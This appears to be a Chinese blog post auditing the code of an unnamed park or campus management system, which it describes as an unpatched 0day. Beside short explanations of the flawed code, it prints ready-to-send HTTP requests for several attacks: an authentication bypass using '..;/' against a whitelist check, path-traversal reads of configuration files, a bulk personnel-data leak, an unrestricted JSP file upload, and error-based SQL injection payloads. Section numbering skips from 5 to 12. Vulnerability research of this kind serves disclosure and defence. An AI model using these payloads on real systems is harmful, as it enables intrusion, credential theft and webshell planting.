1、权限绕过
1.1、方法一
这里看spring-mvc
的配置,找到SpringMVC
拦截器
跟进拦截器,主要看看拦截规则写的什么,判断地址是否为白名单,如果部位白名单进入到
if (session.getAttribute("__sessional_user__") == null) {
循环中
白名单地址为
然后跟踪isWhiteUri
函数,这里的权限绕过是因为contains
函数,这个函数意思是只要内容包含白名单的路径,他就会返回true
这里就可以用/白名单/..;/..;/绕过鉴权,如下:
1.2、方法二
如果请求的地址不是白名单,则进入到if循环和try-catch
语句中,第一个if
里面的不用看了,到现在还没有绕过来。主要看第二个鉴权的代码
这里的逻辑主要是判断,解密后的数组recoToken
用,
分割判断长度是为2,并且数组第二位是否为数字,之后才会将信息添加到session
中。那么加密代码如下
-
[ ] 数组第二位为字母,不执行
-
[ ] 为数字执行
成功绕过
2、文件读取1
全局搜索download
关键字,这里的函数fileDownload.do
请求时需要带参数fileId
,该参数没有任何的过滤,用getRootPath
获取请求的路径,之后在用loadFile
加载该路径。
payload:
GET /manage/personnel/fileDownload.do?fileId=/WEB-INF/web.xml&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close
3、文件读取2
参数imgDownload.do
,这里也是直接请求路径,之后读取该路径的数据。这里有个主意的是参数getCaptureDirectoryPhysicalPath
跟进getCaptureDirectoryPhysicalPath
,这里重要的是基础的路径后面加了三个../
那这里的跳转的路径直接到/manage 目录下
那么请求的敏感文件路径payload
为
GET /manage/resourceUpload/imgDownload.do?filePath=/manage/WEB-INF/classes/app.properties&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close
4、信息泄露(账号密码)
主要观察控制层的User
、Personnel
等关键字
比如PersonnelController
,查询到的接口queryPersonnelInfo
、queryPersonnel
、getPersonnelById
GET /manage/personnel/queryPersonnel.do?page=1&pagesize=1000&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close
5、文件上传
这里上传很多,就拿一个举例全局搜索upload
,定位到
就检测一个地方,是不是文件上传的类型,之后用copy
函数,复制内容和文件名。这里拿txt做样式,jsp后缀可上传。
POST /manage/dgmCommand/resourceUploadFile.do?recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELjAccept: */*Connection: close------WebKitFormBoundaryFfJZ4PlAZBixjELjContent-Disposition: form-data; name="3"; filename="1.txt"Content-Type: image/jpeg1------WebKitFormBoundaryFfJZ4PlAZBixjELj--
12、sql注入1(两处)
SQL注入也很多,拿一个做案例。在下面的mapper
的目录中,看到有两个可控参数order
和columnKey
,这里的columnKey
注入条件必须order
不为空才能进行诸如
/manage/WEB-INF/lib/x.server-1.0.jar!/com/x/x/mapper/mysql/black_list/BlackListDsm.xml
这里进行反推,找关键函数queryBlackList
,文件从BlackListDsm
->BlackListBsm
->BlackListAsm
->BlackListController
BlackListDsm
BlackListBsmImpl
BlackListAsmImpl.class
BlackListController.class
,用set
方法设置参数,并调用函数queryBlackList
那这里的sql注入payload1
GET /manage/systemBlackList/queryBlackList.do?recoToken=ZuZBOrvLG8M&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedAccept: */*Connection: close
payload2
GET /manage/systemBlackList/queryBlackList.do?recoToken=ZuZBOrvLG8M&page=1&pageSize=10&order=asc&columnKey=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedAccept: */*Connection: close
完结
原文始发于微信公众号(进击安全):某园区0day代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论